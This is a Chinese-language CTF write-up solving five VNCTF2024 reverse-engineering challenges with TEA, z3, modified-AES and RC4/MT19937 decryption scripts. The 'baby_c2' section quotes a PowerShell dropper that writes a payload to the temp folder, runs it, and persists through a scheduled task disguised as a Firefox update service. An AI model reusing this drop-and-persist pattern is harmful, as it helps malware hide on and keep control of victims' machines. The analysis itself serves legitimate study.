Bootstrap

迟到的VNCTF2024逆向题WP

这次比赛因为有事外出,只做了前两题,最近有空才把另外3题也做出来,总体来说比以往的VNCTF逆向题目要难一些。当然也有可能是我水平退步了,就算有时间参加比赛,应该也做不完这5题。VN的小伙伴越来越厉害了,出的题质量还不错哦。

RE1:TBXO

在这里插入图片描述
全部代码都采用了栈地址修改的方法进行跳转
在这里插入图片描述
静态分析不方便,只好动态调试,好在加密算法这个函数没有怎么混淆
在这里插入图片描述
分析得到是魔改的TEA算法,key是cdbgnamie_dyilik
写脚本计算出flag:

import struct
def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    delta = 0x9E3779B9
    x = delta*32&0xffffffff
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(32):
        v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3) ^ 0x33
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1) ^ 0x33
        v0 = v0 & 0xFFFFFFFF
        x -= delta
        x = x & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v
if __name__ == '__main__':
    encrypted=[0x31363010, 0xAD938623, 0x8492D4C5, 0x7567E366, 0xC786696B, 0xA0092E31, 0xDB695733, 0xDD13A893, 0x88D8A53E, 0x7E845437]
    key = [0x67626463, 0x696D616E, 0x79645F65, 0x6B696C69]
    for i in range(len(encrypted)//2):
        decrypted = decrypt(encrypted[i*2:i*2+2], key)
        x=struct.pack('<2I',decrypted[0],decrypted[1]).decode()
        print(x,end='')
# VNCTF{Box_obfuscation_and_you_ar_socool}

RE2:baby_c2

在这里插入图片描述
流量包中能看到flag.txt文件和加密的内容:
在这里插入图片描述
再看另一个powershell脚本,用base64逐层解码如下:

$b64EncodedData = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABe9JNiGpX9MRqV/TEalf0xE+1uMRaV/TEcFPwwGJX9MRwU+DAJlf0xHBT5MBaV/TEcFP4wGJX9MVHt/DARlf0xGpX8MVGV/TFwFPQwG5X9MXAUAjEblf0xcBT/MBuV/TFSaWNoGpX9MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //内容过长,省去部分内容

$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$filePath = Join-Path -Path $env:TEMP -ChildPath "169sdaf1c56a4s5da4.bin"
$PEBytes | Set-Content -Path $filePath -Encoding byte -Force
Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"

$actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument  "/c start %temp%\169sdaf1c56a4s5da4.bin"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
$taskName = "Firef0x update services"
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
Start-ScheduledTask -TaskName $taskName

前面的b64EncodedData解码后得到一个exe文件,其中s参数处理中有两个函数是动态加密生成的代码,加密部分是在sub_401220:
在这里插入图片描述
显然根据比赛的日期,判断出v3=217,对数据异或得到2个关键函数代码
在这里插入图片描述在这里插入图片描述
明显是RC4加密,key根据主函数中的代码是由PathFindFileNameA调用得到的在这里插入图片描述
该方法就是返回文件名,这个文件名在抓包的报文中就是flag.txt,因此可以解密文件得到flag.txt的内容
在这里插入图片描述

RE3:yun

在这里插入图片描述

这个app我的华为手机都装不了,需要android 11,更别说虚机和模拟器了,不能进行调试,只能靠静态分析。

解压出来so库文件,然后发现JNI_Onload里什么都没有,比较奇怪,然后看汇编发现有问题在这里插入图片描述
最后ret到了sub_1fb44去执行了
在这里插入图片描述
真正注册的函数在这里:在这里插入图片描述
再看下这个主函数
在这里插入图片描述
sub_20004就是好像变量复制,sub_1F17C是获取输入字符串内容,而sub_1EAE0是加密数据的核心代码
在这里插入图片描述
根据VNVN数据生成加密数据(这里VNVN在启动后会被改成“s0ry”)
在这里插入图片描述
最后再进行base64编码,然后判断是否和bjJydXY4LXB6cnIyZjJxam0ydGNvM3RqOGQ0eTBpdHpoMXUt相等
因此用z3写出爆破求解脚本,不需要什么计算,直接出结果:

from z3 import *
s = Solver()
flag = [BitVec('x%d' % i, 16) for i in range(36)]
tmp=[0]*4
b='s0ry'
a='abcdefghijklmnopqrstuvwxyz1234567890-'
res='n2ruv8-pzrr2f2qjm2tco3tj8d4y0itzh1u-'
for i in range(2):
    for j in range(2):
        tmp[2*i+j]=a.index(b[2*i+j])
ret=[0]*36
for i in range(len(flag)//2):
    for j in range(2):
        for k in range(2):
            ret[i*2+j]+=flag[i*2+k]*tmp[k*2+j]
for i in range(36):
    s.add(And(flag[i]>=0,flag[i]<37))
    s.add(ret[i]%37==a.index(res[i]))

if s.check() != sat:
    print ("error!")
count=0
while s.check() == sat:
    m = s.model()
    count+=1
print(count,''.join(a[m[flag[i]].as_long()%37] for i in range(36)))
#flag:75531c14-8825-44ed-a9ec-74d47d5cb76b

RE4:obfuse

在这里插入图片描述

题目给的是个.o的文件,除非找到正确的gcc版本,否则不能编译成可执行的程序,因此也不能调试,只能静态分析
代码混淆有两种跳转,第一种是2个条件跳转,第二种是一个jmp $+5
在这里插入图片描述
第一种混淆可以看出来两个跳转后有4个乱字节,可以写脚本patch掉,一个块带跳转共替换成16个nop;
第二种比较简单,就直接把jmp $+5这句替换成5个nop就行。
除去跳转混淆以后,可以用F5看伪代码了,不过还是有扁平化混淆,不知道这时候D810插件为啥报错了
在这里插入图片描述
只好肉眼手工慢慢看
在这里插入图片描述
这里unnamed_3和4都是16字节的数据,unamed_5则是加密后比较的数据
在这里插入图片描述
还给了提示,应该是魔改了4处的加密算法:
在这里插入图片描述
首先根据加密过程,判断出来应该是个AES算法:
在这里插入图片描述
第一处魔改是与IV异或的地方,就是sub_406790:
在这里插入图片描述在这里插入图片描述
相当于明文和IV异或的时候也同时和i+22进行异或,这个i就是0-15的字符串下标索引

第二处魔改是AddRoundkey函数,在sub_403610:
实现类似如下的逻辑:

 for i in range(4):
    for j in range(4):
        data[i*4+j]^=roundkey[i*4+j]^i^j

第三处魔改是MixColumns函数,在sub_404160:
有4次异或0x64的操作
在这里插入图片描述
实现这样的代码:

static void MixColumns(state_t* state)
{
  uint8_t i;
  uint8_t Tmp, Tm, t;
  for (i = 0; i < 4; ++i)
  {  
    t   = (*state)[i][0];
    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
    Tm  = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm);  (*state)[i][0] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm);  (*state)[i][1] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm);  (*state)[i][2] ^= Tm ^ Tmp ^0x64;
    Tm  = (*state)[i][3] ^ t ; Tm = xtime(Tm);  (*state)[i][3] ^= Tm ^ Tmp ^0x64;
  }
}

最后一处是PlainSubBytes函数,在sub_403b60:
对查表结果进行了异或0xC8
在这里插入图片描述
找对4处魔改,写AES解密脚本即可完成解密:

import re
import binascii

class Aes:
    #字节替换s盒,未修改
    sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
        0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
    s_box = {}
    ns_box = {  # 逆字节替换s盒
    }
    Rcon = {  # Rcon生成密钥的表
        1: ['0x01', '0x00', '0x00', '0x00'],
        2: ['0x02', '0x00', '0x00', '0x00'],
        3: ['0x04', '0x00', '0x00', '0x00'],
        4: ['0x08', '0x00', '0x00', '0x00'],
        5: ['0x10', '0x00', '0x00', '0x00'],
        6: ['0x20', '0x00', '0x00', '0x00'],
        7: ['0x40', '0x00', '0x00', '0x00'],
        8: ['0x80', '0x00', '0x00', '0x00'],
        9: ['0x1B', '0x00', '0x00', '0x00'],
        10: ['0x36', '0x00', '0x00', '0x00']
    }
    Matrix = [  # 列混淆
        ['0x02', '0x03', '0x01', '0x01'],
        ['0x01', '0x02', '0x03', '0x01'],
        ['0x01', '0x01', '0x02', '0x03'],
        ['0x03', '0x01', '0x01', '0x02']
    ]
    ReMatrix = [  # 逆列混淆
        ['0x0e', '0x0b', '0x0d', '0x09'],
        ['0x09', '0x0e', '0x0b', '0x0d'],
        ['0x0d', '0x09', '0x0e', '0x0b'],
        ['0x0b', '0x0d', '0x09', '0x0e']
    ]
    plaintext = [[], [], [], []]  # 存放明文
    plaintext1 = [[], [], [], []]  # 最后输出的密文
    subkey = [[], [], [], []]  # 存放密钥
    def __init__(self, key):  # 构造函数,同时生成密钥
        self.s_box = dict(zip(["0x%02x"%i for i in range(256)], ["0x%02x"%i for i in self.sbox])) 
        self.ns_box = dict(zip(self.s_box.values(), self.s_box.keys()))  # s盒键值互换,变为逆S盒
        for i in range(4):
            for j in range(0, 8, 2):
                self.subkey[i].append("0x" + key[i * 8 + j:i * 8 + j + 2])  # 将密钥变成二维矩阵
        # print(self.subkey)
        for i in range(4, 44):  # 生成密钥
            if i % 4 != 0:  # 如果不是4的倍数,那么直接异或
                tmp = xor_32(self.subkey[i - 1], self.subkey[i - 4])
                self.subkey.append(tmp)
            else:  # 4的倍数的时候执行
                tmp1 = self.subkey[i - 1][1:]
                tmp1.append(self.subkey[i - 1][0])
                # print(tmp1)
                for m in range(4):
                    tmp1[m] = self.s_box[tmp1[m]]
                # tmp1 = self.s_box['cf']  # 字节代替
                tmp1 = xor_32(tmp1, self.Rcon[i / 4])  # 和Rcon异或
                self.subkey.append(xor_32(tmp1, self.subkey[i - 4]))
        # print(self.subkey)
    def AddRoundKey(self, round):  # 轮密钥加
        for i in range(4):
            temp=[]
            for j in range(4):
                temp.append("0x%02x"%(int(self.plaintext[i][j],16)^int(self.subkey[round * 4 + i][j],16)^i^j))
            self.plaintext[i]=temp
            #self.plaintext[i] = xor_32(self.plaintext[i], self.subkey[round * 4 + i])
        # print('AddRoundKey',self.plaintext)
    def RePlainSubBytes(self):  # 逆字节代替
        for i in range(4):
            for j in range(4):
                self.plaintext[i][j] = self.ns_box["0x%02x"%(int(self.plaintext[i][j],16)^0xc8)]
    def ReShiftRows(self):  # 逆行移位
        p1, p2, p3, p4 = self.plaintext[0][1], self.plaintext[1][1], self.plaintext[2][1], self.plaintext[3][1]
        self.plaintext[3][1] = p3
        self.plaintext[2][1] = p2
        self.plaintext[0][1] = p4
        self.plaintext[1][1] = p1
        p1, p2, p3, p4 = self.plaintext[0][2], self.plaintext[1][2], self.plaintext[2][2], self.plaintext[3][2]
        self.plaintext[0][2] = p3
        self.plaintext[1][2] = p4
        self.plaintext[2][2] = p1
        self.plaintext[3][2] = p2
        p1, p2, p3, p4 = self.plaintext[0][3], self.plaintext[1][3], self.plaintext[2][3], self.plaintext[3][3]
        self.plaintext[0][3] = p2
        self.plaintext[1][3] = p3
        self.plaintext[2][3] = p4
        self.plaintext[3][3] = p1
    def ReMixColumns(self):  # 逆列混淆
        for i in range(4):
            self.plaintext[i] = xor_32(self.plaintext[i], ['0x64']*4)
            for j in range(4):
                self.plaintext1[i].append(MatrixMulti(self.ReMatrix[j],self.plaintext[i]))
    def AES_ECB_Dec(self, cipher):  # AES单组解密函数
        self.plaintext = [[], [], [], []]
        for i in range(4):
            for j in range(0, 8, 2):
                self.plaintext[i].append('0x' + cipher[i * 8 + j:i * 8 + j + 2])  # 16进制转成2进制
        # print(self.ns_box)
        self.AddRoundKey(10)
        for i in range(9):
            self.ReShiftRows()
            self.RePlainSubBytes()
            self.AddRoundKey(9-i)
            self.ReMixColumns()
            self.plaintext = self.plaintext1
            self.plaintext1 = [[], [], [], []]
        self.ReShiftRows()
        self.RePlainSubBytes()
        self.AddRoundKey(0)
        return Matrixtostr(self.plaintext)
    
    def AES_CBC_Dec(self, cipher ,iv): #bytes cipher,iv
        plain=b''
        for i in range(len(cipher)//16-1,-1,-1):
            plain16 = self.AES_ECB_Dec(cipher[i*16:(i+1)*16].hex())
            if i>0:
                plain=xor(bytes.fromhex(plain16),xor(cipher[i*16-16:i*16],iv0))+plain
            else:
                plain=xor(bytes.fromhex(plain16),xor(iv,iv0))+plain
        return plain
    def Encryption(self, text):  # 加密函数
        group = PlaintextGroup(TextToByte(text), 32, 1)
        # print(group)
        cipher = ""
        for i in range(len(group)):
            cipher = cipher + self.AESEncryption(group[i])
        return cipher
    def Decryption(self, cipher):  # 解密函数
        group = PlaintextGroup(cipher, 32, 0)
        # print(group)
        text = ''
        for i in range(len(group)):
            text = text + self.AESDecryption(group[i])
        text = ByteToText(text)
        return text
def xor_32(start, end):  # 32位进行异或
    a = []
    for i in range(0, 4):
        xor_tmp = ""
        b = hextobin(start[i])
        c = hextobin(end[i])
        for j in range(8):
            xor_tmp += str(int(b[j], 10) ^ int(c[j], 10))
        a.append(bintohex(xor_tmp))
    return a
def xor_8(begin, end):  # 二进制字符串8位异或
    xor_8_tmp = ""
    for i in range(8):
        xor_8_tmp += str(int(begin[i]) ^ int(end[i]))
    return xor_8_tmp
def hextobin(word):  # 把十六进制转换成二进制
    word = bin(int(word, 16))[2:]  # 去除掉最前面的0b
    for i in range(0, 8-len(word)):  # 补全八位
        word = '0'+word
    return word
def bintohex(word):  # 把二进制转换十六进制
    word = hex(int(word, 2))
    if len(word) == 4:
        return word
    elif len(word) < 4:
        return word.replace('x', 'x0')
def MatrixMulti(s1, s2):  # 列混淆中的矩阵乘法
    result = []
    s3 = []
    for i in range(4):
        s3.append(hextobin(s2[i]))  # s3保存原始矩阵一行的四个二进制值
    for i in range(4):
        result.append(MultiProcess(int(s1[i], 16), s3[i]))
    for i in range(3):
        result[0] = xor_8(result[0], result[i+1])
    return bintohex(result[0])
def MultiProcess(a, b):  # 列混淆中的乘法运算的具体过程
    if a == 1:
        return b
    elif a == 2:
        if b[0] == '0':
            b = b[1:] + '0'
        else:
            b = b[1:] + '0'
            b = xor_8(b, '00011011')
        return b
    elif a == 3:
        tmp_b = b
        if b[0] == '0':
            b = b[1:] + '0'
        else:
            b = b[1:] + '0'
            b = xor_8(b, '00011011')
        return xor_8(b, tmp_b)
    elif a == 9:
        tmp_b = b
        return xor_8(tmp_b, MultiProcess(2, MultiProcess(2, MultiProcess(2, b))))
    elif a == 11:
        tmp_b = b
        return xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, b)))
    elif a == 13:
        tmp_b = b
        return xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))
    elif a == 14:
        return xor_8(MultiProcess(2, b), xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))
def Matrixtostr(matrix):  # 矩阵转成字符串
    result = ""
    for i in range(4):
        for j in range(4):
            result += matrix[i][j][2:]
    return result
def PlaintextGroup(plaintext, length, flag):  # 明文分组和填充
    group = re.findall('.{'+str(length)+'}', plaintext)
    group.append(plaintext[len(group)*length:])
    if group[-1] == '' and flag:
        group[-1] = '16161616161616161616161616161616'
    elif len(group[-1]) < length and flag:
        tmp = int((length-len(group[-1])) / 2)
        if tmp < 10:
            for i in range(tmp):
                group[-1] = group[-1] + '0'+str(tmp)
        else:
            for i in range(tmp):
                group[-1] = group[-1] + str(tmp)
    elif not flag:
        del group[-1]
    return group
def TextToByte(words):  # 明文转成十六进制字节流
    text = words.encode('utf-8').hex()
    return text
def ByteToText(encode):  # 十六进制字节流转成明文
    tmp = int(encode[-2:])
    word = ''
    for i in range(len(encode)-tmp*2):
        word = word + encode[i]
    # print(word)
    word = bytes.decode(binascii.a2b_hex(word))
    return word
def xor(a,b):
    return bytes([i^j for i,j in zip(a,b)])
from Crypto.Util.number import *
#下面是手工CBCd
iv='000102030405060708090A0B0C0D0E0F'
ciphertext='B5962103B6D50DE30CD75B887CEB297E1414EA8802FEBA923994D2F6472BE26F'
key='2B7E151628AED2A6ABF7158809CF4F3C'.lower()
iv0=bytes.fromhex('161718191a1b1c1d1e1f202122232425')
A1 = Aes(key)
print(A1.AES_CBC_Dec(bytes.fromhex(ciphertext),bytes.fromhex(iv)))
# VNCTF{th1s_t@stes_go0d_r1ght~~?}

RE5:ko

在这里插入图片描述
感觉这题比较坑,有点像MISC,一直找不到RC4的key,谁会知道用户代码会怎么写?!
后来发现内核日志信息里居然有提示,才明白为啥代码中要写这么多printk,好吧,是我肤浅了。
首先,代码中所有的数据都经过了加密
在这里插入图片描述
在初始化函数中调用_register_chrdev,_class_create,device_create进行驱动的注册
在这里插入图片描述
注意off_CE0这里,对几个回调函数都进行了注册
在这里插入图片描述
其中核心的逻辑在ioctl回调函数中
根据调用函数的参数顺序分别有如下代码:
在这里插入图片描述
第一部分主要是调用了rc4_init函数
在这里插入图片描述
第二部分主要是调用了rc4_encrypt函数
在这里插入图片描述
第三部分主要是调用了check_flag函数
下面在分别说下这3个函数
rc4_init函数:这个函数没啥问题,里面就多了一个srand(),后面细说。
在这里插入图片描述
rc4_encrypt函数:这里有魔改的地方,有个随机数加入了加密流程在这里插入图片描述
而check_flag函数就是一个比较字符串长度和内容是否正确的
在这里插入图片描述
看看mt19937gen函数:
在这里插入图片描述
就是一个标准的梅森旋转数伪随机算法。
再看下srand函数:
在这里插入图片描述
这里设置了种子是0xfa11010d
其实流程还是满简单的,关键是rc4的key在哪里,最后在init函数里找到一个日志信息
在这里插入图片描述
这里表示1D00这里存放的就是key了,写出解密脚本如下:

def _int32(x):
    return int(0xFFFFFFFF & x)

class MT19937:
    def __init__(self, seed):
        self.mt = [0] * 624
        self.mt[0] = seed
        self.mti = 0
        for i in range(1, 624):
            self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)

    def extract_number(self):
        if self.mti == 0:
            self.twist()
        y = self.mt[self.mti]
        y = y ^ y >> 11
        y = y ^ y << 7 & 2636928640
        y = y ^ y << 15 & 4022730752
        y = y ^ y >> 18
        self.mti = (self.mti + 1) % 624
        return _int32(y)
    def twist(self):
        for i in range(0, 624):
            y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
            self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
            if y % 2 != 0:
                self.mt[i] = self.mt[i] ^ 0x9908b0df
rand=MT19937(0xFA11010D)
def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + (key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_encrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j] + rand.extract_number()) % 256
        k = box[t]
        res.append(((s) ^ k)&0xff)
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = bytes(res)
    print("加密后的字符串是:%s" %cipher)
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

res=bytes.fromhex('1fd1f1913e5aad6c0425e1c49a5aa0771d6be717ab10e7ac294913fbc487d5be60d7d79692ece1618ab0')
key=b"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAwl1xDcAhbdm49z9MEJuVkyw2jFjAAIVYtYIZ2D3bK0YpKLuOY7uqtFOsjCO1I47ZLc2nGWfrvaxtCo28N56Ie5BlvDhjkqlqNZjLwhAVCNLWntCsXJn8xt3vhCEf9ccEiNKgJQzIvXsf96Uh2k76cXLi6yqzvjzmNnkuqiPv"
s_box = rc4_init_sbox(key)
rc4_encrypt(res, s_box)
# VNCTF{Welcome_To_Kernel_World@RETraveler}
;